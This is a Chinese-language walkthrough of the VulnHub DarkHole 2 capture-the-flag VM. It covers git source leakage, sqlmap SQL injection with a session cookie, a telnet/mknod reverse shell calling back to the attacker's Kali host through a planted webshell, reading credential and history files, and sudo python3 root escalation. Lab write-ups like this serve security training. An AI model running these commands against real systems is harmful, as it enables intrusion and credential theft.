0x01靶机介绍
项目 | Value |
---|---|
项目地址 | https://vulnhub.com/entry/darkhole-2,740/ |
镜像链接 | https://download.vulnhub.com/darkhole/darkhole_2.zip |
作者 | Jehad Alqurashi |
发布日期 | 2021年9月3日 |
系列 | DarkHole |
难度 | Hard |
目的 | 获取root权限 |
0x02靶机搭建
工具:VMware Workstation 17.0
镜像:darkhole_2.zip
搭建方式:
先将下载的zip文件解压
VMware Workstation 17.0:
1.文件->打开–>DarkHole_2.ovf,配置默认即可
2.开启我们的攻击机kali(NAT)和靶机
NAT网段:192.168.52.0/24
kali的IP地址:192.168.52.129
0x03渗透流程
一、信息收集
1.主机发现
arp-scan -l
目标机器为:192.168.52.131
2.扫描主机端口信息
nmap -sV -p- 192.168.52.131
访问80端口:
3.目录信息
dirb http://192.168.52.131
二、漏洞挖掘和利用
1.git源码信息泄露
先去下载git-dumper:可以从网站转储git存储库
tar -zxvf git-dumper-1.0.6.tar.gz
安装依赖和将git文件打包
pip3 install -r requirements.txt
python3 git_dumper.py http://192.168.52.131/.git/ backup
打包完后,进入backup目录然后输入git log查看历史提交记录
cd backup
git log
可以看到这里的第二条记录存在一个登陆login.php时的默认凭证,
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
查看指定提交与当前代码库中的代码差异
获取到账号 :lush@admin.com 密码:321
2.sql注入
使用登陆进去以后发现url栏存在id参数
尝试了一下
http://192.168.52.131/dashboard.php?id=1' //回显错误
http://192.168.52.131/dashboard.php?id=1'--+ //回显正常
说明此处存在单引号sql出入
我们直接使用sqlmap进行爆数据库,先f12从页面中获取当前用户的cookie
sqlmap爆数据库:
python3 sqlmap.py -u "http://192.168.52.131/dashboard.php?id=1" --cookie PHPSESSID=vh00prmljqubu4c6oi4i61aicg --current-db --batch --random-agent --tamper=space2comment
sqlmap爆darkhole_2 的表:
python3 sqlmap.py -u "http://192.168.52.131/dashboard.php?id=1" --cookie PHPSESSID=vh00prmljqubu4c6oi4i61aicg -D darkhole_2 --tables --batch --random-agent --tamper=space2comment
sqlmap爆ssh表中的信息:
python3 sqlmap.py -u "http://192.168.52.131/dashboard.php?id=1" --cookie PHPSESSID=vh00prmljqubu4c6oi4i61aicg -D darkhole_2 -T ssh --dump --batch --random-agent --tamper=space2comment
3.提权
获取到一个用户的账户名和密码,我们直接使用kali进行登陆
ssh jehad@192.168.52.131
先信息收集一波
uname -a
cat /etc/passwd | grep "/bin/bash"
cat .bash_history
这里可以看到历史的一些命令说明当前的9999端口有可能是我们的突破点
cat /etc/crontab
查看一下当前的计划任务
发现在/opt/web目录下存在一个一句话木马,我们可以利用这个进行提权
测试下这个一句话木马还可以使用
curl "http://localhost:9999/?cmd=id"
这里使用kali生成一个一句话反弹shell,然后开启一个web服务,和一个监听端口
echo 'mknod a p; telnet 192.168.52.129 6666 0<a | /bin/bash 1>a' > exp
python3 -m http.server 8080 //web服务
nc -lvvp 6666 //监听端口
使用目标机的终端下载我们的一句话shell
wget 192.168.52.129:8080/exp
然后将shell移动到/tmp文件下并执行
mv exp /tmp/exp
curl "http://localhost:9999/?cmd=bash%20/tmp/exp"
可以看到我们这边收到了一个终端shell,且为losy用户
先生成一个终端shell:
python3 -c "import pty;pty.spawn('/bin/bash')"
查看一下losy用户的历史命令,找到了他的密码:gang
cat .bash_history
发现losy用户具有sudo命令权限
sudo -l
这里可以看到losy用户对python3 是root 权限,我们可以使用sudo来生成一个交互式的root权限shell
sudo python3 -c 'import pty; pty.spawn ("/bin/bash")'
提权成功
参考文章:https://blog.csdn.net/MRS_jianai/article/details/128480361